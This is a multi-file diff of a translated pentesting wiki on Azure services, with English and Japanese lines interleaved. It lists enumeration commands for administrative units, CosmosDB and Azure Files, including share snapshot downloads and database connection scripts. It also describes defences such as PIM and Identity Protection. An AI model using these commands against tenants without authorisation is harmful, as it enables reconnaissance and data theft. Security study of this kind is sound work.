{{#endtabs }}
> [!WARNING]
> If a device (VM) is **AzureAD joined**, users from AzureAD are going to be **able to login**.\
> Moreover, if the logged user is **Owner** of the device, he is going to be **local admin**.
> デバイス (VM) **AzureAD に参加している** 場合、AzureAD のユーザーは **ログインできる** ようになります。\
> さらに、ログインしているユーザーがデバイスの **オーナー** である場合、彼は **ローカル管理者** になります。
### Administrative Units
### 管理単位
For more information about administrative units check:
管理単位に関する詳細情報は、以下を確認してください:
{{#ref}}
../az-basic-information/
@@ -1062,104 +1045,100 @@ For more information about administrative units check:
{{#tabs }}
{{#tab name="az cli" }}
```bash
# 管理単位の一覧を表示
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# AU情報を取得
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# メンバーを取得
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# AUに対するロールを持つプリンシパルを取得
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
```
{{#endtab }}
{{#tab name="AzureAD" }}
```bash
# 管理単位を取得
# Get Administrative Units
Get-AzureADMSAdministrativeUnit
Get-AzureADMSAdministrativeUnit -Id <id>
# 文字列による管理単位のIDを取得
# Get ID of admin unit by string
$adminUnitObj = Get-AzureADMSAdministrativeUnit -Filter "displayname eq 'Test administrative unit 2'"
# 管理単位に影響を受けるユーザー、グループ、およびデバイスのリスト
# List the users, groups, and devices affected by the administrative unit
Get-AzureADMSAdministrativeUnitMember -Id <id>
# AUのメンバーに対するユーザーの役割を取得
Get-AzureADMSScopedRoleMembership -Id <id> | fl #役割IDと役割メンバーを取得
# Get the roles users have over the members of the AU
Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
```
{{#endtab }}
{{#endtabs }}
## Entra ID Privilege Escalation
## Entra ID 特権昇格
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Azure Privilege Escalation
## Azure 特権昇格
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Defensive Mechanisms
## 防御メカニズム
### Privileged Identity Management (PIM)
### 特権アイデンティティ管理 (PIM)
Privileged Identity Management (PIM) in Azure helps to **prevent excessive privileges** to being assigned to users unnecessarily.
Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が割り当てられるのを防ぐ**のに役立ちます。
One of the main features provided by PIM is that It allows to not assign roles to principals that are constantly active, but make them **eligible for a period of time (e.g. 6months)**. Then, whenever the user wants to activate that role, he needs to ask for it indicating the time he needs the privilege (e.g. 3 hours). Then an **admin needs to approve** the request.\
Note that the user will also be able to ask to **extend** the time.
PIM が提供する主な機能の一つは、常にアクティブなプリンシパルに役割を割り当てるのではなく、**一定の期間6ヶ月資格を与える**ことができる点です。ユーザーがその役割をアクティブにしたい場合、必要な特権の時間3時間を示してリクエストを行う必要があります。その後、**管理者が**リクエストを承認する必要があります。\
ユーザーはまた、**延長**を求めることもできます。
Moreover, **PIM send emails** whenever a privileged role is being assigned to someone.
さらに、**PIM は**特権役割が誰かに割り当てられるたびにメールを送信します。
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
When PIM is enabled it's possible to configure each role with certain requirements like:
PIM が有効になっていると、各役割に対して次のような特定の要件を設定できます:
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- A lot more configuration on when and who to send notifications when certain actions happen with that role
- アクティベーションの最大期間(時間)
- アクティベーション時に MFA を要求
- 条件付きアクセス認証コンテキストを要求
- アクティベーション時に正当化を要求
- アクティベーション時にチケット情報を要求
- アクティベートするための承認を要求
- 資格のある割り当ての最大有効期限
- 特定のアクションがその役割で発生したときに通知を送信するタイミングと送信先に関する多くの設定
### Conditional Access Policies
### 条件付きアクセス ポリシー
Check:
確認:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Entra Identity Protection
### Entra アイデンティティ保護
Entra Identity Protection is a security service that allows to **detect when a user or a sign-in is too risky** to be accepted, allowing to **block** the user or the sig-in attempt.
Entra アイデンティティ保護は、**ユーザーまたはサインインが受け入れられるにはリスクが高すぎる場合を検出する**セキュリティサービスで、ユーザーまたはサインインの試行を**ブロック**することができます。
It allows the admin to configure it to **block** attempts when the risk is "Low and above", "Medium and above" or "High". Although, by default it's completely **disabled**:
管理者は、リスクが「低およびそれ以上」、「中程度およびそれ以上」または「高」である場合に試行を**ブロック**するように設定できます。ただし、デフォルトでは完全に**無効**です:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Nowadays it's recommended to add these restrictions via Conditional Access policies where it's possible to configure the same options.
> 現在、可能な場合は条件付きアクセス ポリシーを介してこれらの制限を追加することが推奨されています。
### Entra Password Protection
### Entra パスワード保護
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is a security feature that **helps prevent the abuse of weak passwords in by locking out accounts when several unsuccessful login attempts happen**.\
It also allows to **ban a custom password list** that you need to provide.
Entra パスワード保護 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで弱いパスワードの悪用を防ぐ**セキュリティ機能です。\
また、提供する必要がある**カスタムパスワードリストを禁止する**こともできます。
It can be **applied both** at the cloud level and on-premises Active Directory.
これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用**できます。
The default mode is **Audit**:
デフォルトモードは**監査**です:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## References
## 参考文献
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)

View File

@@ -4,29 +4,28 @@
## Azure Cloud Shell
**Azure Cloud Shell** は、Azure リソースを管理するために設計されたインタラクティブで認証されたブラウザアクセス可能なターミナルで、Bash または PowerShell のいずれかで作業する柔軟性を提供します。これは、20 分間の非アクティブ状態の後にタイムアウトする一時的なセッションホスト上で実行され、$HOME ロケーションに 5 GB のファイル共有を使用してファイルを保持します。Cloud Shell は、Azure ポータル、shell.azure.com、Azure CLI および PowerShell ドキュメント、Azure モバイルアプリ、Visual Studio Code Azure アカウント拡張機能など、複数のポイントからアクセスできます。
**Azure Cloud Shell** は、Azure リソースを管理するために設計されたインタラクティブで認証されたブラウザアクセス可能なターミナルで、Bash または PowerShell のいずれかで作業する柔軟性を提供します。これは、20 分間の非アクティブ状態の後にタイムアウトする一時的なセッションホスト上で実行され、$HOME ロケーションに 5 GB のファイル共有を使用してファイルを保持します。Cloud Shell は、Azure ポータル、shell.azure.com、Azure CLI および PowerShell ドキュメント、Azure モバイルアプリ、Visual Studio Code Azure アカウント拡張機能など、複数のポイントからアクセスできます。
このサービスには権限が割り当てられていないため、特権昇格技術はありません。また、列挙の種類もありません。
### 主な機能
### Key Features
**環境**: Azure Cloud Shell は、クラウドインフラストラクチャ用に設計された Microsoft の独自の Linux ディストリビューションである Azure Linux 上で実行されることにより、安全な環境を提供します。Azure Linux リポジトリに含まれるすべてのパッケージは、サプライチェーン攻撃から守るために Microsoft によって内部的にコンパイルされています。
**プリインストールされたツール**: Cloud Shell には、Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git、vim、nano、emacs などのテキストエディタなど、包括的なプリインストールツールセットが含まれています。これらのツールはすぐに使用できます。インストールされたパッケージとモジュールをリストするには、「Get-Module -ListAvailable」、「tdnf list」、および「pip3 list」を使用できます。
**$HOME の永続性**: Azure Cloud Shell を初めて起動する際、ストレージアカウントを添付するかしないかを選択できます。ストレージを添付しないことを選択すると、セッションが終了するとファイルが削除される一時的なセッションが作成されます。セッション間でファイルを保持するには、ストレージアカウントをマウントします。これにより、**$HOME\clouddrive** として自動的に添付され、**$HOME** ディレクトリは Azure File Share に **.img** ファイルとして保存されます。ただし、$HOME 外のファイルとマシンの状態は保持されません。SSH キーなどの秘密を安全に保存するには、Azure Key Vault を使用してください。
**Azure ドライブ (Azure:)**: Azure Cloud Shell の PowerShell には Azure ドライブ (Azure:) が含まれており、ファイルシステムのようなコマンドを使用して Compute、Network、Storage などの Azure リソースを簡単にナビゲートできます。cd Azure: で Azure ドライブに切り替え、cd ~ でホームディレクトリに戻ります。どのドライブからでもリソースを管理するために Azure PowerShell cmdlet を使用することもできます。
**カスタムツールのインストール**: ストレージアカウントで Cloud Shell を構成するユーザーは、ルート権限を必要としない追加のツールをインストールできます。この機能により、Cloud Shell 環境のさらなるカスタマイズが可能になり、ユーザーは特定のニーズに合わせてセットアップを調整できます。
**Environment**: Azure Cloud Shell は、クラウドインフラストラクチャ用に設計された Microsoft の独自の Linux ディストリビューションである Azure Linux 上で実行されることにより、安全な環境を提供します。Azure Linux リポジトリに含まれるすべてのパッケージは、サプライチェーン攻撃から守るために Microsoft によって内部的にコンパイルされています。
**Preinstalled Tools**: Cloud Shell には、Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git、vim、nano、emacs などのテキストエディタを含む包括的なセットのプリインストールツールが含まれています。これらのツールはすぐに使用できます。インストールされたパッケージとモジュールをリストするには、「Get-Module -ListAvailable」、「tdnf list」、および「pip3 list」を使用できます。
**$HOME persistence**: Azure Cloud Shell を初めて起動する際、ストレージアカウントを添付するかしないかを選択できます。ストレージを添付しないことを選択すると、セッションが終了するとファイルが削除される一時的なセッションが作成されます。セッション間でファイルを保持するには、ストレージアカウントをマウントします。これにより、**$HOME\clouddrive** として自動的に添付され、**$HOME** ディレクトリは Azure File Share に **.img** ファイルとして保存されます。ただし、$HOME 外のファイルとマシンの状態は保持されません。SSH キーなどの秘密を安全に保存するには、Azure Key Vault を使用してください。
**Azure drive (Azure:)**: Azure Cloud Shell の PowerShell には Azure ドライブ (Azure:) が含まれており、ファイルシステムのようなコマンドを使用して Compute、Network、Storage などの Azure リソースを簡単にナビゲートできます。cd Azure: で Azure ドライブに切り替え、cd ~ でホームディレクトリに戻ります。どのドライブからでもリソースを管理するために Azure PowerShell cmdlet を使用することもできます。
**Custom Tool Installation**: ストレージアカウントで Cloud Shell を構成するユーザーは、ルート権限を必要としない追加のツールをインストールできます。この機能により、Cloud Shell 環境のさらなるカスタマイズが可能になり、ユーザーは特定のニーズに合わせてセットアップを調整できます。
## 参考文献
## References
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
## 永続性
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
{% endcontent-ref %}
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,32 +4,27 @@
## Azure CosmosDB
**Azure Cosmos DB** は、単一桁ミリ秒の応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA バックの可用性を提供する完全に **管理された NoSQL、リレーショナル、およびベクターデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースの API、人気のある言語用の SDK、および統合されたベクターサポートやシームレスな Azure AI 統合などの AI データベース機能を通じて、アプリ開発を加速します。
**Azure Cosmos DB** は、単一桁ミリ秒の応答時間、自動スケーラビリティ、エンタープライズグレードのセキュリティを備えた SLA に裏打ちされた可用性を提供する完全に **管理された NoSQL、リレーショナル、およびベクターデータベース** です。これは、ターンキーのマルチリージョンデータ配信、オープンソースの API、人気のある言語用の SDK、統合されたベクターサポートやシームレスな Azure AI 統合などの AI データベース機能を通じて、アプリ開発を加速します。
Azure Cosmos DB は、ドキュメント、リレーショナル、キー-バリュー、グラフ、およびカラムファミリーデータモデルを使用して現実のデータをモデル化するための複数のデータベース API を提供します。これらの API は NoSQL、MongoDB、PostgreSQL、Cassandra、Gremlin および Table です。
CosmosDB の重要な側面の一つは Azure Cosmos アカウントです。**Azure Cosmos アカウント** は、データベースへの入り口として機能します。このアカウントは、グローバル配信、一貫性レベル、および使用する特定の APINoSQL など)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するグローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
CosmosDB の重要な側面の一つは Azure Cosmos アカウントです。**Azure Cosmos アカウント** は、データベースへのエントリーポイントとして機能します。このアカウントは、グローバル配信、一貫性レベル、および使用する特定の APINoSQL など)などの主要な設定を決定します。アカウントを通じて、データが複数のリージョンで低遅延アクセスのために利用可能であることを保証するグローバルレプリケーションを構成できます。さらに、パフォーマンスとデータの正確性のバランスを取る一貫性レベルを選択でき、強い一貫性から最終的な一貫性までのオプションがあります。
### NoSQL (sql)
Azure Cosmos DB NoSQL API は、JSON をデータ形式として使用するドキュメントベースの API です。これは、JSON オブジェクトをクエリするための SQL に似たクエリ構文を提供し、構造化データおよび半構造化データの操作に適しています。サービスのエンドポイントは次のとおりです
{% code overflow="wrap" %}
Azure Cosmos DB NoSQL API は、JSON をデータ形式として使用するドキュメントベースの API です。これは、JSON オブジェクトをクエリするための SQL に似たクエリ構文を提供し、構造化データおよび半構造化データの操作に適しています。サービスのエンドポイントは次のとおりです:
```bash
https://<Account-Name>.documents.azure.com:443/
```
{% endcode %}
#### データベース
アカウント内で、1つ以上のデータベースを作成できこれらはコンテナの論理的なグループとして機能します。データベースは、リソース管理とユーザー権限の境界として機能します。データベースは、コンテナ間でプロビジョニングされたスループットを共有するか、個々のコンテナに専用のスループットを割り当てることができます。
アカウント内で、1つ以上のデータベースを作成できます。これらはコンテナの論理的なグループとして機能します。データベースは、リソース管理とユーザー権限の境界として機能します。データベースは、コンテナ間でプロビジョニングされたスループットを共有するか、個々のコンテナに専用のスループットを割り当てることができます。
#### コンテナ
データストレージのコアユニットはコンテナであり、JSONドキュメントを保持し、効率的なクエリのために自動的にインデックスが付けられます。コンテナは弾力的にスケーラブルで、ユーザー定義のパーティションキーによって決定されるパーティションに分散されます。パーティションキーは、最適なパフォーマンスと均等なデータ分配を確保するために重要です。たとえば、コンテナは顧客データを保存し、「customerId」をパーティションキーとして使用することがあります。
データストレージのコアユニットはコンテナであり、JSONドキュメントを保持し、効率的なクエリのために自動的にインデックスが付けられます。コンテナは弾力的にスケーラブルで、ユーザー定義のパーティションキーによって決定されるパーティションに分散されています。パーティションキーは、最適なパフォーマンスと均等なデータ分配を確保するために重要です。たとえば、コンテナは顧客データを保存し、「customerId」をパーティションキーとして使用することがあります。
#### 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosD
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### 接続
azure-cosmosDBpip install azure-cosmosライブラリが必要です。さらに、エンドポイントとキーは接続を確立するための重要な要素です。
{% code overflow="wrap" %}
azure-cosmosDBに接続するには (pip install azure-cosmos) ライブラリが必要です。さらに、エンドポイントとキーは接続を確立するための重要な要素です。
```python
from azure.cosmos import CosmosClient, PartitionKey
@@ -158,11 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
{% endcode %}
接続を確立する別の方法は、**DefaultAzureCredential()**を使用することです。権限を持つアカウントでログインaz loginし、それを実行するだけです。この場合、必要な権限を与える役割の割り当てを行う必要があります詳細については参照してください
{% code overflow="wrap" %}
接続を確立する別の方法は、**DefaultAzureCredential()**を使用することです。権限を持つアカウントでログインaz loginし、それを実行するだけです。この場合、必要な権限を与えるロール割り当てを行う必要があります詳細については参照してください
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient
@@ -187,28 +174,21 @@ item = {
container.create_item(item)
print("Document inserted.")
```
{% endcode %}
### MongoDB
MongoDB NoSQL APIは、データ形式としてJSONに似たBSONBinary JSONを使用するドキュメントベースのAPIです。これは、集約機能を持つクエリ言語を提供し、構造化データ、半構造化データ、および非構造化データの処理に適しています。サービスのエンドポイントは通常、次の形式に従います
{% code overflow="wrap" %}
```bash
mongodb://<hostname>:<port>/<database>
```
{% endcode %}
#### データベース
MongoDBでは、インスタンス内に1つ以上のデータベースを作成できます。各データベースはコレクションの論理的なグループとして機能し、リソースの組織と管理の境界を提供します。データベースは、異なるアプリケーションやプロジェクトのためにデータを論理的に分離し、管理するのに役立ちます。
#### コレクション
MongoDBにおけるデータストレージのコアユニットはコレクションであり、ドキュメントを保持し、効率的なクエリと柔軟なスキーマ設計のために設計されています。コレクションは弾力的にスケーラブルで、分散セットアップ内の複数のードにわたって高スループットの操作をサポートできます。
MongoDBにおけるデータストレージのコアユニットはコレクションであり、ドキュメントを保持し、効率的なクエリと柔軟なスキーマ設計のために設計されています。コレクションは弾力的にスケーラブルであり、分散セットアップ内の複数のノードにわたって高スループットの操作をサポートできます。
#### 列挙
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
{{#tabs }}
{{#tab name="az cli" }}
```bash
# CosmoDB Account
## List Azure Cosmos DB database accounts.
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
# List all user definitions for MongoDB within an Azure Cosmos DB account
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
```
{% endcode %}
{% endtab %}
{{#endtab }}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
{{#tab name="Az Powershell" }}
```bash
Get-Command -Module Az.CosmosDB
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
{{#endtab }}
{{#endtabs }}
#### 接続
ここでは、パスワードをキーまたは特権昇格セクションで説明されている方法で見つけることができます。
{% code overflow="wrap" %}
```python
from pymongo import MongoClient
@@ -311,26 +287,24 @@ document = {
result = collection.insert_one(document)
print(f"Inserted document with ID: {result.inserted_id}")
```
{% endcode %}
## 参考文献
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
## 権限昇格
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
{% endcontent-ref %}
{{#ref}}
../az-privilege-escalation/az-cosmosDB-privesc.md
{{#endref}}
## ポストエクスプロイト
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
{% endcontent-ref %}
{{#ref}}
../az-post-exploitation/az-sql-post-exploitation.md
{{#endref}}
## ToDo

View File

@@ -6,7 +6,7 @@
**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全に管理されたクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません[**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による。これにより、複数の仮想マシンVMやオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。
### アクセスティア
### アクセス階層
- **トランザクション最適化**: トランザクションが多い操作に最適化されています。
- **ホット**: トランザクションとストレージのバランスが取れています。
@@ -18,20 +18,20 @@
- **日次バックアップ**: 指定された時間19.30 UTCに毎日バックアップポイントが作成され、1日から200日間保存されます。
- **週次バックアップ**: 指定された曜日と時間毎週日曜日の19.30にバックアップポイントが作成され、1週間から200週間保存されます。
- **月次バックアップ**: 指定された日と時間毎月の最初の日曜日の19.30にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。
- **年次バックアップ**: 指定された日と時間1月の最初の日曜日の19.30にバックアップポイントが作成され、1年から10年保存されます。
- **手動バックアップおよびスナップショットをいつでも実行することも可能です**。バックアップとスナップショットは、この文脈では実際には同じものです。
- **年次バックアップ**: 指定された日と時間1月の最初の日曜日の19.30にバックアップポイントが作成され、1年から10年保存されます。
- **手動バックアップおよびスナップショットをいつでも実行することも可能です**。この文脈では、バックアップとスナップショットは実際には同じです。
### SMB経由でサポートされる認証
- **オンプレミスAD DS認証**: オンプレミスのActive Directory資格情報を使用し、Microsoft Entra IDと同期してアイデンティティベースのアクセスを提供します。オンプレミスAD DSへのネットワーク接続が必要です。
- **Microsoft Entraドメインサービス認証**: Microsoft Entra資格情報を使用してアクセスを提供するために、Microsoft EntraドメインサービスクラウドベースのADを活用します。
- **ハイブリッドアイデンティティのためのMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有をKerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。
- **LinuxクライアントのためのAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証のためにKerberosを使用できるようにします。
- **Microsoft Entraドメインサービス認証**: Microsoft EntraドメインサービスクラウドベースのADを利用して、Microsoft Entra資格情報を使用してアクセスを提供します。
- **ハイブリッドアイデンティティのMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有をKerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。
- **LinuxクライアントのAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証にKerberosを使用できるようにします。
## 列挙
{{#tabs}}
{{#tab name="az cli"}}
{{#tabs }}
{{#tab name="az" }}
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
# Download snapshot/backup
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
```
{{#endtab}}
{{#endtab }}
{{#tab name="Az PowerShell"}}
{{#tab name="Az Powershell" }}
```bash
Get-AzStorageAccount
@@ -81,21 +81,21 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
```
{{#endtab}}
{{#endtabs}}
{{#endtab }}
{{#endtabs }}
> [!NOTE]
> デフォルトでは `az` cli はアカウントキーを使用してキーに署名し、アクションを実行します。Entra ID プリンシパルの権限を使用するには、パラメータ `--auth-mode login --enable-file-backup-request-intent` を使用してください。
> デフォルトでは`az` cliはアカウントキーを使用してキーに署名し、アクションを実行します。Entra IDプリンシパルの権限を使用するには、パラメータ`--auth-mode login --enable-file-backup-request-intent`を使用してください。
> [!TIP]
> 使用するアカウントキーを示すには、パラメータ `--account-key` を使用します\
> SAS トークンを使用してアクセスするには、SAS トークンと共にパラメータ `--sas-token` を使用します
> 使用するアカウントキーを示すには、パラメータ`--account-key`を使用します\
> SASトークンを使用してアクセスするには、SASトークンと共にパラメータ`--sas-token`を使用します
### 接続
これらは、執筆時Azure が提案したファイル共有に接続するためのスクリプトです:
これらは、執筆時点でAzureが提案するファイル共有に接続するためのスクリプトです:
`<STORAGE-ACCOUNT>``<ACCESS-KEY>`、および `<FILE-SHARE-NAME>` プレースホルダーを置き換える必要があります。
`<STORAGE-ACCOUNT>``<ACCESS-KEY>`、および`<FILE-SHARE-NAME>`プレースホルダーを置き換える必要があります。
{{#tabs}}
{{#tab name="Windows"}}

View File

@@ -4,22 +4,22 @@
## 基本情報
**Azure Function Apps****サーバーレスコンピューティングサービス** で、基盤となるインフラを管理することなく、**関数**と呼ばれる小さなコードの断片を実行できます。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**に応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
**Azure Function Apps****サーバーレスコンピューティングサービス**あり、基盤となるインフラストラクチャを管理することなく、**関数**と呼ばれる小さなコードの断片を実行することを可能にします。これらは、**HTTPリクエスト、タイマー、またはBlob StorageやEvent Hubsなどの他のAzureサービスからのイベント**に応じてコードを実行するように設計されています。Function AppsはC#、Python、JavaScript、Javaなど複数のプログラミング言語をサポートしており、**イベント駆動型アプリケーション**の構築、ワークフローの自動化、サービスの統合に適しています。通常、コードが実行されるときに使用されたコンピューティング時間に対してのみ支払うため、コスト効率が高いです。
> [!NOTE]
> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能はAzure AppsCLIでは`webapp`)として作成されたアプリケーションでも使用されます。
> **FunctionsはApp Servicesのサブセット**であるため、ここで説明される多くの機能はAzure Appscliでは`webapp`)として作成されたアプリケーションでも使用されます。
### 異なるプラン
- **Flex Consumption Plan**: **動的でイベント駆動型のスケーリング**を提供し、需要に応じて関数インスタンスを追加または削除する従量課金制です。**仮想ネットワーキング**と**事前プロビジョニングされたインスタンス**をサポートし、コールドスタートを減少させ、コンテナサポートを必要としない**変動するワークロード**に適しています。
- **Traditional Consumption Plan**: デフォルトのサーバーレスオプションで、**関数が実行されるときのみコンピューティングリソースに対して支払います**。受信イベントに基づいて自動的にスケールし、**コールドスタートの最適化**が含まれていますが、コンテナデプロイメントはサポートしていません。自動スケーリングを必要とする**断続的なワークロード**に最適です。
- **Premium Plan**: **一貫したパフォーマンス**のために設計されており、コールドスタートを排除するための**事前ウォームされたワーカー**を提供します。**拡張実行時間、仮想ネットワーキング**を提供し、**カスタムLinuxイメージ**をサポートしており、高パフォーマンスと高度な機能を必要とする**ミッションクリティカルなアプリケーション**に最適です。
